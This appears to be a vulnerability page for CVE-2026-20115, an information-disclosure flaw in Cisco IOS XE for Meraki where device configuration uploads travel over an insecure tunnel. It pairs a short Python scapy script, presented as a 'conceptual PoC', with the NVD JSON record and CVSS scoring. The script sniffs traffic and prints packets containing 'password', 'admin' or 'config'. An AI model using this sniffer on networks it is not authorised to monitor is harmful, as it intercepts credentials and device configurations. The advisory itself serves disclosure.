CVE-2026-20115

import sys from scapy.all import * # Conceptual PoC for CVE-2026-20115 # This script demonstrates sniffing traffic on an insecure tunnel. # Usage: python3 poc.py def packet_callback(packet): if packet.haslayer(TCP) and packet.haslayer(Raw): payload = packet[Raw].load # Filter for potential configuration keywords keywords = [b"config", b"password", b"admin"] if any(keyword in payload for keyword in keywords): print(f"[+] Intercepted packet from {packet[IP].src}:") print(payload) print("[*] Starting network sniffing for CVE-2026-20115...") # Sniff on the default interface (requires root privileges) sniff(prn=packet_callback, store=False)

{"cve": {"id": "CVE-2026-20115", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:16.533", "lastModified": "2026-03-26T15:13:15.790", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Cisco IOS XE Software for Cisco Meraki could allow a remote, unauthenticated attacker to view confidential device information.\r\n\r This vulnerability is due to a device configuration upload being performed over an insecure tunnel. An attacker could exploit this vulnerability by conducting an on-path attack between the affected device and the Cisco Meraki Dashboard. A successful exploit could allow the attacker to view sensitive device configuration information."}, {"lang": "es", "value": "Una vulnerabilidad en el software Cisco IOS XE para Cisco Meraki podría permitir a un atacante remoto no autenticado ver información confidencial del dispositivo. Esta vulnerabilidad se debe a que una carga de configuración del dispositivo se realiza a través de un túnel inseguro. Un atacante podría explotar esta vulnerabilidad al realizar un ataque en la ruta entre el dispositivo afectado y el Cisco Meraki Dashboard. Un exploit exitoso podría permitir al atacante ver información sensible de la configuración del dispositivo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe_infodis-6J847uEB", "source": "[email protected]"}]}}